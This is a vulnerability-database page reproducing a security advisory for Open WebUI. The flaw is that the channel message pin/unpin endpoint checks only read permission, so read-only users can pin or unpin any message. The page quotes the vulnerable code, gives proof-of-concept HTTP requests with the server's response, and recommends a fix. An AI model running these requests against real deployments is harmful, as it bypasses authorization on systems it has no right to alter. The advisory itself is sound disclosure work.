Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-5gc6-xhv4-2wg6

MediumCVSS 4.3 / 10
Published May 14, 2026·Last modified May 14, 2026
Affected Components(0)

No affected components available

Description

Summary

Pin/Unpin is a write operation (modifies the message's is_pinned , pinned_by, pinned_at fields), but in standard channels it only checks read permission, allowing users with read-only access to pin/unpin any message.

Details

https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L1218

@router.post('/{id}/messages/{message_id}/pin', response_model=Optional[MessageUserResponse])
async def pin_channel_message(
    request: Request,
    id: str,
    message_id: str,
    form_data: PinMessageForm,
    user=Depends(get_verified_user),
    db: Session = Depends(get_session),
):
    check_channels_access(request)
    channel = Channels.get_channel_by_id(id, db=db)
    if not channel:
        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=ERROR_MESSAGES.NOT_FOUND)

    if channel.type in ['group', 'dm']:
        if not Channels.is_user_channel_member(channel.id, user.id, db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    else:
        if user.role != 'admin' and not channel_has_access(user.id, channel, permission='read', db=db):
            raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

The channel_has_access function https://github.com/open-webui/open-webui/blob/9bd84258d09eefe7bf975878fb0e31a5dadfe0f8/backend/open_webui/routers/channels.py#L75 checks user permissions against the AccessGrants table:

def channel_has_access(
    user_id: str,
    channel: ChannelModel,
    permission: str = 'read',  # 'read' or 'write'
    strict: bool = True,
    db: Optional[Session] = None,
) -> bool:
    if AccessGrants.has_access(
        user_id=user_id,
        resource_type='channel',
        resource_id=channel.id,
        permission=permission,
        db=db,
    ):
        return True
    # ...

The AccessGrant table distinguishes between read and write permission levels.

PoC

admin creates Standard Channel with Read-Only Access for test1 :

POST /api/v1/channels/create
Authorization: 
Content-Type: application/json

{
  "name": "pin-test-standard",
  "access_grants": [
    {
      "principal_type": "user",
      "principal_id": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
      "permission": "read"
    }
  ]
}

admin posts a Message in the Channel, and test1 has read permission only. <img width="1024" height="423" alt="image" src="https://github.com/user-attachments/assets/e9912bd7-3908-44f2-8984-22d0535dc66f" />

test1 attempts to Pin Message:

POST /api/v1/channels/0699b656-578f-4976-94b0-65e2b19752fd/messages/4797359b-aad5-4081-9617-e8ca58524a87/pin
Authorization: Bearer <test1_token>
Content-Type: application/json

{
  "is_pinned": true
}
{
  "id": "4797359b-aad5-4081-9617-e8ca58524a87",
  "user_id": "28c859b7-84e2-4217-b4d7-3f0e43f7c4b9",
  "is_pinned": true,
  "pinned_by": "cfc3cb19-9e92-4bf7-8b72-1b47fe4ff62c",
  "pinned_at": 1774716314908288719,
  "content": "Admin announcement in standard channel - test1 should NOT be able to pin this"
}

Successfully pinned admin's message. pinned_by records test1's user ID. <img width="1024" height="350" alt="image" src="https://github.com/user-attachments/assets/705b1f45-95a9-4e91-8a74-10bdbccde0b8" />

test1 (Read-Only) can alse Unpin Message. The Pin/Unpin endpoint in standard channels only checks read permission, allowing read-only users to pin/unpin any message.

Impact

Read-only users can pin irrelevant messages, disrupting important information display in the channel .

Recommended Fix

Change the Pin endpoint's permission check from read to write .

Risk Scores
Base Score
4.3

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data.

Threat Intelligence
4.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.20%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard